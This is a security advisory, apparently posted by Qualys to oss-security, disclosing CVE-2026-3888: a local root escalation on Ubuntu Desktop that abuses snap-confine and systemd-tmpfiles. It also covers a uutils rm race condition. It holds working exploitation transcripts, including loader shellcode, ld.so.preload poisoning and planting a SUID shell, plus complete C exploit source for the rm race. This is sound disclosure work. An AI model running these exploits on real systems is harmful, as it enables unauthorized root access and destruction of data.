|
|
Message-ID: <20260317193301.GA1285@localhost.localdomain>
Date: Tue, 17 Mar 2026 19:33:16 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
Qualys Security Advisory
Good things come to those who wait:
snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
========================================================================
Contents
========================================================================
Summary
Case study: Ubuntu Desktop 24.04
- Analysis
- Exploitation
Case study: Ubuntu Desktop 25.10
- Overview
- Exploitation
A quick note on the uutils coreutils (the rust-coreutils)
Acknowledgments
Timeline
And that is why Caterpillar was never in a hurry.
She knew that good things come to those who wait.
-- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
========================================================================
Summary
========================================================================
We discovered an unusual Local Privilege Escalation (LPE), from any
unprivileged user to full root, in the default installation of Ubuntu
Desktop >= 24.04. We found this vulnerability particularly interesting:
a/ it stems from the interaction of two otherwise secure programs:
- snap-confine, which is set-user-ID-root (or set-capabilities), and
"used internally by snapd to construct the execution environment for
snap applications" (man snap-confine);
- systemd-tmpfiles, which is executed as root once per day, and
"creates, deletes, and cleans up files and directories, using the
configuration file format and location specified in tmpfiles.d(5)"
(man systemd-tmpfiles);
b/ an unprivileged local attacker who wants to exploit this LPE must
wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to
obtain a fully privileged root shell.
As a side note, we also discovered a local vulnerability (a race
condition) in the uutils coreutils (a Rust rewrite of the standard GNU
coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default
in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before
its release (by replacing the uutils coreutils' rm with the standard GNU
coreutils' rm), and would otherwise have resulted in an LPE (from any
unprivileged user to full root) in the default installation of Ubuntu
Desktop 25.10.
========================================================================
Case study: Ubuntu Desktop 24.04
========================================================================
Go slow, go slow,
If you want to grow.
-- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
________________________________________________________________________
Analysis
________________________________________________________________________
We recently noticed that, in the default installation of Ubuntu since
version 24.04, systemd-tmpfiles is configured to automatically clean up
the files and directories in /tmp that are older than 30 days (in Ubuntu
24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles
traverses /tmp once per day and deletes all the files and directories
that have not been accessed nor modified for more than 10 or 30 days.
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...
$ cat /usr/lib/tmpfiles.d/tmp.conf
...
D /tmp 1777 root root 30d
#q /var/tmp 1777 root root 30d
------------------------------------------------------------------------
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...
$ cat /usr/lib/tmpfiles.d/tmp.conf
...
q /tmp 1777 root root 10d
q /var/tmp 1777 root root 30d
------------------------------------------------------------------------
>From our "Lemmings" and "Leeloo" advisories, we then remembered that
snap-confine does highly privileged work in /tmp; in particular, in the
/tmp/snap-private-tmp directory, which is securely created at boot time
(as user root, mode 0700):
https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt
------------------------------------------------------------------------
$ cat /usr/lib/tmpfiles.d/snapd.conf
D! /tmp/snap-private-tmp 0700 root root -
------------------------------------------------------------------------
We therefore came up with the following idea: if, unbeknownst to
snap-confine, systemd-tmpfiles deletes one of the files or directories
from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local
attacker) re-create the deleted file or directory ourselves, and exploit
snap-confine's privileged work to obtain a fully privileged root shell?
Still from our "Lemmings" and "Leeloo" advisories, we also remembered
that, to set up a snap's sandbox, snap-confine creates a directory named
/tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later
bind-mounted onto the /tmp directory inside the snap's sandbox.
And inside this /tmp directory (inside the snap's sandbox), snap-confine
creates a directory named /tmp/.snap (as user root, mode 0755) to create
"mimics"; for example, inside the sandbox of each and every snap that is
installed by default on Ubuntu Desktop, snap-confine bind-mounts the
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory:
- to bind-mount this directory, snap-confine must first create its
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not
normally exist;
- but inside the snap's sandbox, /usr/lib/x86_64-linux-gnu is in a
read-only filesystem (the "core22" base's squashfs);
- so snap-confine must first create a "mimic" of
/usr/lib/x86_64-linux-gnu (a writable copy of
/usr/lib/x86_64-linux-gnu), by:
1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto
/tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap's sandbox);
2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu;
3/ bind-mounting every file and directory from
/tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu;
4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint
(which is in a writable tmpfs now);
5/ finally bind-mounting
/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
(for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0.
------------------------------------------------------------------------
$ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/*
/var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0
...
------------------------------------------------------------------------
Consequently, our theoretical idea to exploit snap-confine is:
- inside the snap's sandbox, we frequently write to the /tmp directory
(but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to
delete the unmodified /tmp/.snap directory (but not /tmp) after 10
days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);
- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is
world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu
in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange;
- we force snap-confine to set up the snap's sandbox afresh, but during
the creation of the /usr/lib/x86_64-linux-gnu "mimic", between step 1/
and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu
with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed,
/tmp/.snap belongs to us);
- as a result, during step 3/ of the creation of this "mimic",
snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu,
so we control every shared library and the dynamic loader (inside the
snap's sandbox) and can execute arbitrary code as root by simply
executing any dynamically-linked SUID-root binary.
In the following proof of concept for Ubuntu Desktop 24.04, we put this
theoretical idea into practice.
________________________________________________________________________
Exploitation
________________________________________________________________________
First, we set up the sandbox of one of the snaps that are installed by
default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine
with the "core22" base, then we obtain an unprivileged shell inside this
snap's sandbox, we chdir to its /tmp directory, we frequently write to
this directory (but not to its /tmp/.snap sub-directory), and we wait
for systemd-tmpfiles to delete the unmodified /tmp/.snap directory
(after 30 days, in Ubuntu 24.04).
------------------------------------------------------------------------
outside$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...
outside$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash
inside$ cd /tmp
inside$ stat ./.snap
...
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
...
inside$ while test -d ./.snap; do touch ./; sleep 60; done
[30 days pass]
inside$ stat ./.snap
stat: cannot statx './.snap': No such file or directory
------------------------------------------------------------------------
Second, from another shell outside the snap's sandbox, we chdir to
/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through
the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to
/tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp
belongs to root, mode 0700), we destroy the snap's sandbox (but not its
/tmp directory) by executing snap-confine with an invalid base (the
"snapd" base), and we run our firefox_24.04.c helper (which is basically
CVE-2021-44731-Desktop.c from our "Lemmings" advisory):
- we re-create the ./.snap directory ourselves (/tmp/.snap inside the
snap's sandbox), since it was deleted by systemd-tmpfiles, and we
create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu
in ./.snap/usr/lib/x86_64-linux-gnu.exchange;
- we force snap-confine to set up the snap's sandbox afresh, by
executing it with the "core22" base, but we "single-step" this
execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its
stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we
read() its output byte by byte, and we recv(MSG_PEEK) at its buffered
output), to reliably win the race condition between step 1/ and step
3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu;
- as soon as we read() or recv() the following message (immediately
after step 1/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu),
mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"
we quickly replace snap-confine's ./.snap/usr/lib/x86_64-linux-gnu
with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents
are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us
full control over every shared library and the dynamic loader inside
the snap's sandbox.
------------------------------------------------------------------------
outside$ cd /proc/2396/cwd
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent
/user.slice/user-1001.slice/session-145.scope is not a snap cgroup
outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
Running as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No such file or directory
outside$ exit
outside$ ~/firefox_24.04
hange.go:351: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:"" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x86_64-linux-gnu" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
...
change.go:351: DEBUG: mount name:"/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" dir:"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MS_BIND unparsed:"" (error: <nil>)
...
change.go:351: DEBUG: mount name:"/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" dir:"/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" type:"none" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
...
execv failed: No such file or directory
------------------------------------------------------------------------
Third, we obtain an unprivileged shell inside this newly set up sandbox,
by executing snap-confine with the same "core22" base; and from another
shell outside this snap's sandbox, we chdir to its / directory, through
the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to
./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the
dynamic loader ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (which
belongs to us) with a simple shellcode that calls setreuid(0) and
execve(/tmp/sh) (a busybox shell).
------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash
inside$
------------------------------------------------------------------------
------------------------------------------------------------------------
outside$ cd /proc/4516/root
outside$ cp /usr/bin/busybox ./tmp/sh
outside$ cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
------------------------------------------------------------------------
Fourth, we obtain a root shell inside the snap's sandbox, by executing
snap-confine itself through snap-confine, which is dynamically linked
and SUID-root and therefore executes our own dynamic loader's shellcode
(and hence a busybox shell) as root. (Note: the snap's sandbox contains
various SUID-root binaries, but only the execution of snap-confine is
allowed by its AppArmor profile.)
------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
...
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
...
inside# id
uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
^^^^^^^^^^^
inside# cat /etc/shadow
cat: can't open '/etc/shadow': Permission denied
------------------------------------------------------------------------
Fifth, because this root shell is still inside the snap's sandbox,
confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
allowed by the AppArmor profile and the seccomp filter), and execute
this SUID-root shell from outside the snap's sandbox, thereby finally
gaining full root privileges.
------------------------------------------------------------------------
inside# cp /bin/bash /var/snap/firefox/common/
inside# chmod 04755 /var/snap/firefox/common/bash
inside# exit
outside$ /var/snap/firefox/common/bash -p
outside# id
uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
^^^^^^^^^^^^
outside# cat /etc/shadow
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
...
------------------------------------------------------------------------
========================================================================
Case study: Ubuntu Desktop 25.10
========================================================================
Why go fast?
Let life run past?
-- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
________________________________________________________________________
Overview
________________________________________________________________________
For Ubuntu Desktop 25.10 we must change our exploitation strategy,
because snap-confine is not SUID-root anymore; instead, it now has
capabilities attached:
------------------------------------------------------------------------
$ stat /usr/lib/snapd/snap-confine
...
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
...
$ getcap /usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
------------------------------------------------------------------------
These capabilities are actually very powerful, and we can obtain them
inside a snap's sandbox by slightly revising our exploitation strategy
from Ubuntu 24.04 (by calling capset() and prctl(PR_CAP_AMBIENT_RAISE)
instead of setreuid(0)), but most of these capabilities and associated
syscalls are then denied to us by AppArmor and seccomp, thus preventing
us from gaining full root privileges outside the snap's sandbox.
Consequently, we decided to re-use the strategy that we used in our
"Lemmings" advisory to exploit the "snap-store" snap (which is installed
by default on Ubuntu Desktop): instead of racing against the "mimic"
creation of /usr/lib/x86_64-linux-gnu, we race against the "mimic"
creation of /var/lib (which is needed to bind-mount /var/lib/app-info
inside snap-store's sandbox), which allows us to control /var/lib and
hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn
allows us to bind-mount near-arbitrary directories and obtain a root
shell inside snap-store's sandbox, and eventually a fully privileged
root shell outside snap-store's sandbox.
________________________________________________________________________
Exploitation
________________________________________________________________________
First, we set up snap-store's sandbox by executing snap-confine with the
"core22" base, we obtain an unprivileged shell inside this sandbox, we
chdir to its /tmp directory, we frequently write to this directory (but
not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles
to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu
25.10).
------------------------------------------------------------------------
outside$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...
outside$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /bin/bash
inside$ cd /tmp
inside$ stat ./.snap
...
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
...
inside$ while test -d ./.snap; do touch ./; sleep 60; done
[10 days pass]
inside$ stat ./.snap
stat: cannot statx './.snap': No such file or directory
------------------------------------------------------------------------
Second, from another shell outside snap-store's sandbox, we chdir to
/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the
/proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox
(but not its /tmp directory) by executing snap-confine with an invalid
base ("snapd"), and we run our snap-store_25.10.c helper (which is also
basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):
- we re-create the ./.snap directory ourselves (/tmp/.snap inside
snap-store's sandbox), since it was deleted by systemd-tmpfiles, and
we create our own copy of /snap/core22/current/var/lib in
./.snap/var/lib.exchange;
- we force snap-confine to set up snap-store's sandbox afresh, by
executing it with the "core22" base, but we "single-step" this
execution (with SNAPD_DEBUG=1), to reliably win the race condition
between step 1/ and step 3/ of the "mimic" creation of /var/lib;
- as soon as we see the following debug message (immediately after step
1/ of the "mimic" creation of /var/lib),
mount name:"/var/lib" dir:"/tmp/.snap/var/lib"
we quickly replace snap-confine's ./.snap/var/lib with our own
./.snap/var/lib.exchange, whose contents are then bind-mounted into
/var/lib (inside snap-store's sandbox); this replacement has two
beneficial consequences for us:
a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which
allows us to bind-mount near-arbitrary directories inside snap-store's
sandbox (these bind-mounts are not completely arbitrary, because they
are still confined by an AppArmor profile);
b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and
their execution is allowed by an AppArmor rule "/tmp/** mrwlkix,"
inside snap-store's sandbox.
------------------------------------------------------------------------
outside$ cd /proc/4078/cwd
outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent
/user.slice/user-1001.slice/session-33.scope is not a snap cgroup
outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
Running as unit: snap.whatever.scope; invocation ID: 113af972356b4f08a58461cf64cc57f6
outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_GCNDEM//dev: No such file or directory
outside$ exit
outside$ ~/snap-store_25.10
...
hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
...
change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNT_NOFOLLOW|MNT_DETACH (error: invalid argument)
change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is not mounted
change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove /tmp/.snap/var/lib: directory not empty)
...
/var/lib/snapd not root-owned 1001:1001
------------------------------------------------------------------------
Third, still from outside snap-store's sandbox but inside its /tmp
directory:
- we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the
sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we
create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a
simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy
/usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the
following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab,
which will bind-mount our copy of /etc inside snap-store's sandbox:
/tmp/.snap/etc /etc none rbind,rw 0 0
- we also add the following line to
./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace
our own ./.snap/var/lib with the original ./.snap/var/lib.exchange),
which will bind-mount the original, root-owned /var/lib/snapd inside
snap-store's sandbox (otherwise snap-confine dies because it detects
that /var/lib/snapd does not belong to root -- it belongs to us since
we won the race condition against the "mimic" creation of /var/lib):
/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0
------------------------------------------------------------------------
outside$ cp -a /etc ./.snap
...
outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload
outside$ cp ~/librootshell.so ./
outside$ cp /usr/bin/busybox ./sh
outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2
outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib
------------------------------------------------------------------------
Fourth, we obtain a root shell inside snap-store's sandbox, by executing
snap-confine with one of the SUID-root binaries in /tmp/.snap (such as
/tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which
is dynamically linked and therefore preloads our /tmp/librootshell.so
and executes our shellcode (and hence a busybox shell) as root.
------------------------------------------------------------------------
outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
...
BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash)
...
inside# id
uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
^^^^^^^^^^^
inside# cat /etc/shadow
cat: can't open '/etc/shadow': No such file or directory
------------------------------------------------------------------------
Fifth, because this root shell is still inside snap-store's sandbox,
confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
allowed by the AppArmor profile and the seccomp filter), and execute
this SUID-root shell from outside snap-store's sandbox, thereby finally
gaining full root privileges.
------------------------------------------------------------------------
inside# cp /bin/bash /var/snap/snap-store/common/
inside# chmod 04755 /var/snap/snap-store/common/bash
inside# exit
outside$ /var/snap/snap-store/common/bash -p
outside# id
uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
^^^^^^^^^^^^
outside# cat /etc/shadow
root:*:20368:0:99999:7:::
daemon:*:20368:0:99999:7:::
...
------------------------------------------------------------------------
========================================================================
A quick note on the uutils coreutils (the rust-coreutils)
========================================================================
In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security
Team proactively contacted us and kindly asked us if we were interested
in reviewing the security of the uutils coreutils (a Rust rewrite of the
standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are
since then installed by default in Ubuntu 25.10.
We were deeply interested, and honored, but unfortunately at the time we
were already working full-time on another project; so we told the Ubuntu
Security Team that we would not be able to conduct an official security
review, but that we would try to work on it anyway during our free time.
We started by carefully reading the following report, which already
contained extremely valuable information; in particular, the mention of
"unsafe, racy, tree walking algorithms" caught our attention:
https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815
>From our work on apport (CVE-2025-5054), we then remembered that the
shell script /etc/cron.daily/apport is installed by default on Ubuntu,
is executed as root once per day, and can recursively delete entire
sub-directories of /var/crash, which is world-writable like /tmp:
------------------------------------------------------------------------
$ cat /etc/cron.daily/apport
...
find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex '.*/[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;
$ stat /var/crash
...
Access: (3777/drwxrwsrwt) Uid: ( 0/ root) Gid: ( 0/ root)
...
------------------------------------------------------------------------
Since rm is one of the uutils coreutils, we decided to create a
directory /var/crash/base/parent/target (as an unprivileged attacker)
and to analyze the strace of an "rm -Rf /var/crash/base" command (as
root), and we quickly discovered that rm was vulnerable to a trivial
race condition:
------------------------------------------------------------------------
1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0
...
147 openat(AT_FDCWD, "/var/crash/base", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
...
152 openat(AT_FDCWD, "/var/crash/base/parent", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
...
158 openat(AT_FDCWD, "/var/crash/base/parent/target", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
...
163 rmdir("/var/crash/base/parent/target") = 0
...
167 rmdir("/var/crash/base/parent") = 0
...
171 rmdir("/var/crash/base") = 0
...
174 exit_group(0) = ?
------------------------------------------------------------------------
- if, after rm calls openat() on /var/crash/base/parent (at line 152),
but before rm calls openat() on /var/crash/base/parent/target (at line
158), if the attacker replaces /var/crash/base/parent with a symlink
(which will be followed by rm) to another part of the filesystem (for
example, to /etc), then this attacker can delete arbitrary parts of
the filesystem, as root (the shell script /etc/cron.daily/apport is
executed as root);
- for example, if the attacker replaces "parent" with a symlink to /etc,
and if "target" is "ppp", then rm will recursively delete the entire
/etc/ppp directory.
We immediately reported this vulnerability to Ubuntu, who, as a
temporary mitigation in Ubuntu 25.10, replaced the default rm with a
symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is
a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils'
/usr/lib/cargo/bin/coreutils/rm).
To the best of our knowledge, this vulnerability in the uutils
coreutils' rm was later fixed upstream (by calling openat() relatively
to each component of a path, instead of calling openat() on absolute
paths and resolving each path component multiple times), by commits:
https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41
https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b
https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714
However, at the time of writing this advisory, the uutils coreutils'
/usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is
still vulnerable (but unused, since the default is the GNU coreutils'
rm); this allows us to test what would have happened if the vulnerable
rm had been shipped as the default in Ubuntu 25.10. For example, below
we run our proof of concept as an unprivileged user, and root executes
the rm command that would have been executed by /etc/cron.daily/apport,
thereby accidentally deleting the entire /etc/ppp directory:
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ cat > uutils_rm.c << "EOF"
#define _GNU_SOURCE
#include <sys/inotify.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <utime.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(const int argc, const char * const argv[])
{
if (argc < 3) die();
const char * const writable_dir = argv[1];
if (*writable_dir != '/') die();
const char * const parent_dir = strdup(argv[2]);
if (!parent_dir) die();
char * const last_slash = strrchr(parent_dir, '/');
if (!last_slash) die();
const char * const target_dir = strdup(last_slash + 1);
if (!target_dir) die();
last_slash[1] = '\0';
if (*parent_dir != '/') die();
if (!*target_dir) die();
unsigned long n_pre_dirs = 32;
if (argc > 3) {
if (argc != 4) die();
n_pre_dirs = strtoul(argv[3], NULL, 0);
}
if (n_pre_dirs <= 0) die();
if (n_pre_dirs > (1u<<20)) die();
if (chdir(writable_dir)) die();
char base_dir[] = "XXXXXX";
if (!mkdtemp(base_dir)) die();
if (chdir(base_dir)) die();
if (mkdir("parent", 0700)) die();
if (chdir("parent")) die();
if (mkdir(target_dir, 0700)) die();
const char * first_dir = NULL;
for (;;) {
char try[] = "XXXXXX";
if (!mkdtemp(try)) die();
unsigned long n = 0;
DIR * const dirp = opendir(".");
if (!dirp) die();
for (;;) {
const struct dirent * const entp = readdir(dirp);
if (!entp) die();
if (*entp->d_name == '.') continue;
if (!strcmp(entp->d_name, target_dir)) break;
n++;
if (!first_dir) {
first_dir = strdup(entp->d_name);
if (!first_dir) die();
}
}
if (closedir(dirp)) die();
if (n >= n_pre_dirs) break;
}
if (!first_dir) die();
if (chdir(first_dir)) die();
unsigned long i;
for (i = 0; i < n_pre_dirs; i++) {
char num[256];
snprintf(num, sizeof(num), "%lu", i);
if (mkdir(num, 0700)) die();
}
const int in_fd = inotify_init();
if (in_fd <= -1) die();
if (inotify_add_watch(in_fd, ".", IN_ATTRIB) <= -1) die();
if (chdir("..")) die();
if (chdir("..")) die();
if (symlink(parent_dir, "../switch")) die();
static const struct utimbuf epoch = { 1, 1 };
if (utime(".", &epoch)) die();
fprintf(stderr, "ready\n");
static char in_buf[sizeof(struct inotify_event) + NAME_MAX + 1];
if (read(in_fd, in_buf, sizeof(in_buf)) < (ssize_t)sizeof(struct inotify_event)) die();
if (renameat2(AT_FDCWD, "parent", AT_FDCWD, "../switch", RENAME_EXCHANGE)) die();
die();
}
EOF
$ gcc -s -o uutils_rm uutils_rm.c
$ stat /etc/ppp
...
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
...
$ ./uutils_rm /var/crash /etc/ppp
ready
------------------------------------------------------------------------
Then, as root (to simulate the /etc/cron.daily/apport shell script):
------------------------------------------------------------------------
# id
uid=0(root) gid=0(root) groups=0(root)
# dpkg -S /usr/lib/cargo/bin/coreutils/rm
rust-coreutils: /usr/lib/cargo/bin/coreutils/rm
# dpkg -l rust-coreutils
...
ii rust-coreutils 0.2.2-0ubuntu2.1 amd64 Universal coreutils utils, written in Rust
# find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \;
...
# stat /etc/ppp
stat: cannot stat '/etc/ppp': No such file or directory (os error 2)
------------------------------------------------------------------------
Back in September 2025, we reported this vulnerability to Ubuntu as a
denial of service (the ability to delete arbitrary files and directories
as root), but after writing this advisory it became perfectly clear that
this vulnerability was actually powerful enough to be transformed into a
Local Privilege Escalation (LPE) to full root (for example by deleting a
/tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE
was avoided thanks to the Ubuntu Security Team, who proactively reached
out to us and mitigated it before the release of Ubuntu 25.10.
========================================================================
Acknowledgments
========================================================================
We thank everyone at Canonical who worked on this release (Seth Arnold,
